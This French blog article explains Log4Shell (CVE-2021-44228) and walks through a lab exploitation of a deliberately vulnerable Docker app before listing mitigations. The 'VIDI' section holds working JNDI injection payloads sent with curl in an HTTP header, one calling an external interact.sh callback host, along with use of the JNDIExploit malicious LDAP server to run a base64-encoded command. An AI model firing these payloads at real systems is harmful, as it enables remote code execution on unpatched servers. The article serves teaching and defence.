BE-Hacktive
HackTricksTwitterLinkedInSponsorWebsite
French
French
  • BE-Hacktive
  • A propos de l'auteur et du projet
  • Table des matières
  • Contact
  • 🎬Synopsis
    • Technologie dans le temps
    • Cybersécurité
    • CVE
  • 🏆Eskooly - CVE
    • ESKOOLY (FR version)
    • ESKOOLY (EN version)
    • CVE-2024-27709 - SQL Injection in Eskooly Web Product v.3.0
    • ESkooly - Broken Authentication
      • CVE-2024-27710 - Privilege Escalation via Authentication Mechanism in Eskooly Web Product <= v3.0
      • CVE-2024-27711 - User Enumeration via Sign-up Process in Eskooly Web Product <= v3.0
      • CVE-2024-27712 - User Enumeration via Account Settings in Eskooly Web Product <= v3.0
    • CVE-2024-27713 - Protection mechanism Failure in Eskooly Web Product <= v3.0
    • CVE-2024-27715 - Inadequate Password Update Verification in Eskooly Web Product <= v3.0
    • CVE-2024-27716 - Cross-site Scripting (XSS) in Eskooly Web Product <= v3.0
    • CVE-2024-27717 - Cross-Site Request Forgery (CSRF) in Eskooly Web Product <= v3.0
  • 🚨Capsule 1 - Sensibilisation
    • Phishing
      • Phishing - Origines
      • Phishing - Evolution
      • Phishing - Statistiques
      • Phishing - Techniques
      • Phishing - Protection
    • Malware
      • Malware - Origines
      • Malware - Evolution
      • Malware - Catégories
      • Malware - Ransomware
    • Passwords - Mots de passe
      • Passwords - Origines
      • Passwords - Evolution de l'authentification
      • Passwords - Statistiques
      • Passwords - Protégez-vous
  • 🧨Capsule 2 - Ethical Hacking
    • Définition et Méthodologie
  • 🧰Capsule 3 - Outils
    • Burp Suite
      • Installation
      • Intercepter le trafic HTTP avec Burp Proxy
      • Définir le périmètre
      • Intruder et Repeater
  • Capsule 2 - Ethical Hacking
    • Page 1
  • 📖Articles
    • Cybersécurité 2023: 5 menaces majeures et comment s'en protéger
    • Suis-je victime des fuites de données ?
    • LOG4J: La librairie vulnérable qui secoue la planète
    • LOG4SHELL: VENI,VIDI,VICI
    • Protéger votre enfant en ligne: Conseils pour le "Safer Internet Day"
    • ChatGPT: Révolution ou menace ?
    • Le FBI démantèle Raptor Train : Un Botnet Chinois qui a Infecté 260 000 Appareils IoT dans le monde!
  • 🗞️News
    • Exploitation active des vulnérabilités de TP-Link, d'Apache et d'Oracle détectées
    • Microsoft insiste sur l'urgence de patcher les serveurs Exchange en local
Powered by GitBook
On this page
  • VENI
  • Origine
  • Cause
  • LDAP & JNDI
  • VIDI
  • Environnement de test
  • Reconnaissance
  • Exploitation
  • VICI
  • Identification
  • Mise à jour
  • Suppression de la classe JndiLookup
  • Alternatives
  1. Articles

LOG4SHELL: VENI,VIDI,VICI

PreviousLOG4J: La librairie vulnérable qui secoue la planèteNextProtéger votre enfant en ligne: Conseils pour le "Safer Internet Day"

La vulnérabilité LOG4J, aussi appelé LOG4SHELL, est critique et elle affecte Apache Log4j versions 2.0 à 2.14.1. Elle a été identifiée par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud.

Le NIST a publié un CVE critique dans la "National Vulnerability Database" le 10 décembre 2021, sous le nom de .

Apache Software Foundation a attribué la note de gravité CVSS maximale de 10.

Le "National Institute of Standards and Technology" (NIST) est une agence gouvernementale non réglementaire qui développe des technologies, des mesures et des normes pour stimuler l'innovation et la compétitivité économique des organisations basées aux États-Unis dans le secteur des sciences et des technologies. Dans le cadre de cet effort, le NIST produit des normes et des directives pour aider les agences fédérales à répondre aux exigences de la loi fédérale sur la gestion de la sécurité des informations (FISMA). Le NIST aide également ces agences à protéger leurs informations et leurs systèmes d'information par le biais de programmes rentables.

SOURCE:

L'acronyme CVE, pour Common Vulnerabilities and Exposures en anglais, désigne une liste publique de failles de sécurité informatique. Lorsque l'on parle d'une CVE, on fait généralement référence à une faille de sécurité à laquelle un identifiant CVE a été attribué.

Les avis de sécurité publiés par les fournisseurs et chercheurs mentionnent presque toujours au moins un identifiant CVE. Les CVE aident les professionnels à coordonner leurs efforts visant à hiérarchiser et résoudre les vulnérabilités, et ainsi renforcer la sécurité des systèmes informatiques.

SOURCE:

Le système CVSS (Common Vulnerability Scoring System) permet de saisir les principales caractéristiques d'une vulnérabilité et de produire un score numérique reflétant sa gravité. Ce score numérique peut ensuite être traduit en une représentation qualitative (telle que faible, moyenne, élevée et critique) afin d'aider les organisations à évaluer et à hiérarchiser correctement leurs processus de gestion des vulnérabilités.

CVSS est une norme publiée utilisée par des organisations du monde entier, et la mission du SIG est de continuer à l'améliorer.

SOURCE:

VENI

Origine

Le CVE-2021-44228 provient d'un endroit improbable: . Minecraft est un jeu très populaire développé par les studios Mojang où les gens peuvent interagir librement avec un environnement 3D entièrement modifiable.

La fonction de chat du jeu est à l'origine de l'exploit. L'application de communication, exécutant une api java avec la version spécifique de log4j, a permis à des acteurs malveillants de bloquer des machines, d'expulser tous les joueurs, etc.

Dans les bonnes circonstances, il est également possible d'exécuter du code à distance via cet exploit, c'est pourquoi il est si dangereux et a été marqué "zero-day" ou "0-day".

« Zero-day » est un terme générique qui décrit les dernières vulnérabilités de sécurité détectées que les cybercriminels peuvent utiliser pour attaquer les systèmes. Le terme « zero-day » désigne le fait que le fournisseur ou le développeur vient de prendre connaissance de la faille, ce qui signifie qu’il a « zéro jour » pour la corriger. Une attaque zero-day survient lorsque les cybercriminels exploitent la faille avant que les développeurs n’aient la possibilité de la rectifier.

Cause

La raison de ce problème est la mauvaise utilisation de l'interpolation de variables et de la bonne vieille api JNDI, qui existe en Java depuis des lustres.

En général, les développeurs de logiciels utilisent un mécanisme de journalisation pour faire état des différents flux au sein du logiciel. Au cours de ce processus, un message de journal est transmis sous forme de chaîne de caractères à enregistrer dans un fichier de journal.

La bibliothèque Log4j possède une fonctionnalité supplémentaire qui permet aux messages de journal de contenir des variables qui sont traduites à la volée avant d'être écrites dans un fichier de journal. Dans le cas de CVE-2021-44228, log4j traduit un argument spécifique reçu sous la forme d'une chaîne formatée et le force à charger un code Java provenant d'une autre classe Java stockée sur le serveur ou d'un serveur distant.

Log4j2 supporte par défaut une fonctionnalité de journalisation appelée "Message Lookup Substitution". Cette fonctionnalité permet à certaines chaînes spéciales d'être remplacées, au moment de la journalisation, par d'autres chaînes générées dynamiquement. Par exemple, l'enregistrement de la chaîne Running ${java:runtime} produira un résultat similaire à celui qui suit :

Running Java version 1.7.0_67

Il a été découvert que l'une des méthodes de recherche, en particulier la recherche JNDI associée au protocole LDAP, récupère une classe Java spécifique à partir d'une source distante et la désérialise, en exécutant une partie du code de la classe au cours du processus.

LDAP & JNDI

Avant d'appendre comment exploiter la vulnérabilité, il faut expliquer et comprendre deux mots clés: LDAP et JNDI.

LDAP

Le protocole LDAP (Lightweight Directory Access Protocol) est un protocole qui permet aux applications d'interroger rapidement les informations relatives aux utilisateurs.

Les entreprises stockent les noms d'utilisateur, les mots de passe, les adresses électroniques, les connexions d'imprimante et d'autres données statiques dans des répertoires.

LDAP est un protocole d'application ouvert, neutre vis-à-vis des fournisseurs, qui permet d'accéder à ces données et de les conserver. LDAP peut également prendre en charge l'authentification, de sorte que les utilisateurs peuvent se connecter une seule fois et accéder à de nombreux fichiers différents sur le serveur.

Dans une entreprise, l'employé moyen se connecte et interroge le serveur LDAP des centaines de fois par jour. À première vue, cette personne ne sait peut-être même pas qu'elle contacte le serveur LDAP, mais une série d'étapes complexes sont suivies pour effectuer une simple requête.

Pour qu'un LDAP réussisse une requête, les étapes suivantes sont généralement suivies :

  1. Connexion à la session : L'utilisateur se connecte au serveur LDAP via un port LDAP (généralement le port TCP/389).

  2. Requête : L'utilisateur envoie la requête au serveur LDAP. Il peut s'agir par exemple d'une recherche de courrier électronique.

  3. Réponse : Le protocole LDAP recherche dans l'annuaire les informations pertinentes et les fournit à l'utilisateur.

  4. Achèvement : Après avoir reçu la réponse, l'utilisateur se déconnecte du port LDAP.

Les étapes de la requête LDAP peuvent sembler simples, mais en fait, beaucoup de travail a été fait pour rendre ce processus transparent, et une bonne quantité de codes a été effectuée pour rendre ces fonctions possibles.

JNDI

JNDI signifie Java Naming and Directory Interface et est une API JAVA.

Cette API permet :

  • d’accéder à différents services de nommage ou de répertoire de façon uniforme ;

  • d'organiser et rechercher des informations ou des objets par nommage (java naming and directory interface) ;

  • de faire des opérations sur des annuaires (java naming and directory interface) tels que :

    • LDAP: un annuaire léger

    • DNS: Domain Name System ou DNS est un service informatique distribué utilisé qui traduit les noms de domaine Internet en adresse IP ou autres enregistrements

Quelques points concernant l'architecture JNDI :

Dans ce tableau, vous pouvez voir les niveaux de l'architecture.

  • Tous les niveaux de l'architecture sont connectés à l'application java.

  • L'API fournit un mécanisme pour lier un objet à un nom et pour accéder aux services de nommage et d'annuaire.

  • Le SPI permet de brancher les services de nommage et d'annuaire de manière transparente.

  • Le dernier niveau montre les répertoires qui sont connectés à l'interface.

VIDI

Environnement de test

Pour l'environnement de test, ce que j'utilise personnellement:

Maintenant il faut construire une image qui comprendra toutes les dépendances et le code source de l'application Java vulnérable.

  • Copier le répertoire GITHUB de christophetd dans le dossier /tmp

  • Rentrer dans le dossier

cd /tmp/log4shell-vulnerable-app

  • Construire l'image

sudo docker build -t log4shell-app .

sudo docker run -it --network=host --name log4shell-app log4shell-app

Maintenant, il y a une instance de l'application vulnérable disponible sur localhost:8080. Il est possible de le vérifier avec la commande suivante:

sudo lsof -i -P -n | grep LISTEN

Maintenant l'application vulnérable est en place dans l'environnement de test, la prochaine étape est la détection de la vulnérabilité de type RCE via une requête vers un domaine contrôlé par l'attaquant.

Les attaques par exécution de code à distance (en anglais: Remote Code Execution) permettent à un attaquant d'exécuter à distance un code malveillant sur un ordinateur. L'impact d'une vulnérabilité RCE peut aller de l'exécution d'un logiciel malveillant à la prise de contrôle totale d'une machine compromise par un attaquant.

Reconnaissance

Avec l'application exécutée sur localhost:8080, nous pouvons détecter que l'application est vulnérable à Log4Shell en soumettant une interface Java Naming and Directory (JNDI) comme valeur pour l'en-tête X-Api-Version qui déclenche une requête vers le domaine contrôlé par l'attaquant.

Pour la détection de l'interaction externe, il faut effectuer la requête cURL suivante sans oubliez de remplacer le nom d'hôte interactsh par celui généré pour votre instance:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://c8kz9wf2vtc0000g4ktggrj9w6ryyyyyb.interact.sh/a}'

cURL est utilisé dans les lignes de commande ou les scripts pour transférer des données. curl est également utilisé dans les voitures, les téléviseurs, les routeurs, les imprimantes, les équipements audio, les téléphones mobiles, les tablettes, les décodeurs, les lecteurs multimédias et constitue le moteur de transfert Internet de milliers d'applications logicielles dans plus de dix milliards d'installations.

Après avoir envoyé la requête, la recherche de domaine apparaît sur interactsh :

Dans les journaux de l'application la tentative de requête API est aussi apparu:

Exploitation

Pour exécuter les commandes, il faut faire tourner un serveur LDAP avec les capacités d'exploiter les attaques par injection JNDI. Suivre les étapes pour télécharger le serveur LDAP malveillant:

-> Ou via le github suivant de black9 via la commande suivante:

  • Dézipper/Décompresser le fichier:

unzip JNDIExploit.v1.2.zip

Une fois l'archive ZIP décompressée, le menu d'aide du programme peut être consulté via la commande suivante:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -h

Pour démarrer le serveur LDAP malveillant sur localhost:1389, il faut exécuter la commande:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001

Pour obtenir le reverse shell, une commande echo en base64 va être codée pour écrire des données dans un fichier du dossier /tmp:

echo -n 'echo "PWNED par BE HACKTIVE" > /tmp/log4shell.txt' | base64 -w 0

Pour finir, exécuter la demande via la commande cURL à l'application vulnérable:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAiQkUgSEFDS1RJVkUiID4gL3RtcC9sb2c0c2hlbGwudHh0}'

Afin de vérifier que la commande a été exécutée:

sudo docker exec -it log4shell-app sh

ls -l /tmp

Le dernier chapitre abordera certains points importants à suivre pour se protéger un maximum des vulnérabilités liées à Log4j.

VICI

Identification

Les deux premières questions qu'une organisation devraient se poser sont:

  • Est-ce Log4j existe au sein de mes applications?

  • Où est implémenté Log4j?

Plus précisément, elle doit se concentrer sur les applications externes susceptibles d'utiliser Log4j. Il s'agit d'une tâche non triviale étant donné qu'il s'agit d'une bibliothèque, plutôt que d'une application installée, et qu'elle peut être intégrée avec des fournisseurs et des outils tiers.

Pour les organisations qui disposent d'inventaires de ressources solides, ceux-ci devraient être utilisés pour identifier où Java, la JVM (Java Virtual Machine) et les bibliothèques Log4j existent dans leur inventaire.

Il existe actuellement plusieurs ressources qui documentent les applications et les fournisseurs vulnérables connus. C'est un excellent point de départ. Prendre le temps d'examiner ces listes et de déterminer si le logiciel est présent dans le domaine de l'organisation. Si c'est le cas, s'assurer que les derniers correctifs soient appliqués.

Une autre méthode d'identification consisterait à effectuer des scans de vulnérabilité internes/externes, dont beaucoup fournissent désormais des signatures ou des plugins pour identifier les instances Log4j vulnérables.

Mise à jour

La mesure de protection la plus complète consiste à mettre à jour et à appliquer des correctifs aux bibliothèques Log4j vulnérables découvertes, mais il est évident que cela n'est pas possible dans tous les cas.

À l'heure où nous écrivons ces lignes, la version 2.16.0 est la plus récente, et de plus amples informations concernant les corrections des dernières vulnérabilités de Log4j sont disponibles à l'adresse suivante :

Le 14 décembre 2021, une deuxième CVE (CVE-2021-45046) a été découverte dans la bibliothèque Log4j, rendant la version 2.15.0 inefficace dans certaines configurations par défaut. Pour résoudre les deux CVE-2021-44228 et CVE-2021-45046, il est recommandé de mettre à jour la version de Log4j à 2.16.0 au moins.

  • CVE-2021-44228 (score CVSS : 10.0): Une vulnérabilité RCE affectant les versions de Log4j de 2.0-beta9 à 2.14.1 (Corrigé dans la version 2.15.0)

  • CVE-2021-45046 (score CVSS : 9.0) - Une fuite d'information et une vulnérabilité RCE affectant les versions de Log4j de 2.0-beta9 à 2.15.0, à l'exception de 2.12.2 (Corrigé dans la version 2.16.0)

  • CVE-2021-45105 (score CVSS : 7.5) - Une vulnérabilité de type déni de service affectant les versions de Log4j allant de 2.0-beta9 à 2.16.0 (Corrigé dans la version 2.17.0)

Il est suggéré de suivre les conseils d'Apache et de mettre à niveau vers la version 2.17.0 de log4j.

Il est néanmoins pas toujours possible de faire les mises à jours, il existe d'autres possibilités pour remédier aux failles liés à Log4j.

Suppression de la classe JndiLookup

Cette vulnérabilité est due à la façon dont Log4j utilise JNDI.

Une façon de corriger cette vulnérabilité est de désactiver l'utilisation des recherches de messages JNDI, ce que fait Log4j 2.16.0. Cependant, cela peut également être réalisé en retirant la classe JndiLookup entière, qui implémente cette fonctionnalité, d'un paquet Log4j affecté.

Les composants Java étant essentiellement des archives ZIP, les administrateurs peuvent exécuter la commande suivante pour modifier et corriger une instance de paquet vulnérable:

zip -q -d Log4j-core-*.jar org/apache/logging/Log4j/core/lookup/JndiLookup.class

Alternatives

  • Cette attaque nécessite que l'hôte affecté établisse une connexion sortante initiale avec le serveur LDAP malveillant de l'adversaire pour charger la classe Java vulnérable. Le blocage des ports standard pour LDAP, LDAPS et RMI (389, 636, 1099, 1389), bien que non exhaustif car le port peut être aléatoire, peut réduire la surface d'attaque.

  • IPS et WAF, bien que non exhaustifs en raison des différentes techniques d'évasion possibles dans cette attaque, doivent être mis en œuvre pour aider à la détection et à la réponse.

Définition:

Logicielle de Virtualisation: ou

Machine Virtuelle:

Pour mettre en place un serveur exécutant une version vulnérable de la bibliothèque Log4j, nous allons construire une image Docker pour cette application créée par qui est vulnérable à l'exploitation Log4Shell.

Tout d'abord il faut installer sur la machine Kali Linux.

git clone /tmp/log4shell-vulnerable-app

Définition:

Visitez et copiez le nom d'hôte généré :

Définition:

Il est temps d'attaquer l'application !

Télécharger le zip JNDIExploit via le lien du github de

git clone

Nous avons réussi !

📖
😄
🎉
KASPERSKY
VirtualBox
VMware
Kali Linux
Spring Boot
christophetd
Docker
https://github.com/christophetd/log4shell-vulnerable-app.git
CHECKPOINT
interactsh
cURL.se
christophetd
https://github.com/black9/Log4shell_JNDIExploit
Bases de données affectées par Log4j
Logiciels associés à Log4j
Avis de sécurité sur Log4shell
Apache Log4j Security Vulnerabilities
CVE-2021-44228
NIST.GOV
REDHAT
FIRST.ORG
MINECRAFT
Un article intéressant de ezpublish-france.fr:
Fonctionnement de LDAP (SOURCE: )
Minecraft lance un correctif pour la vulnérabilité critique de Log4j
OTKA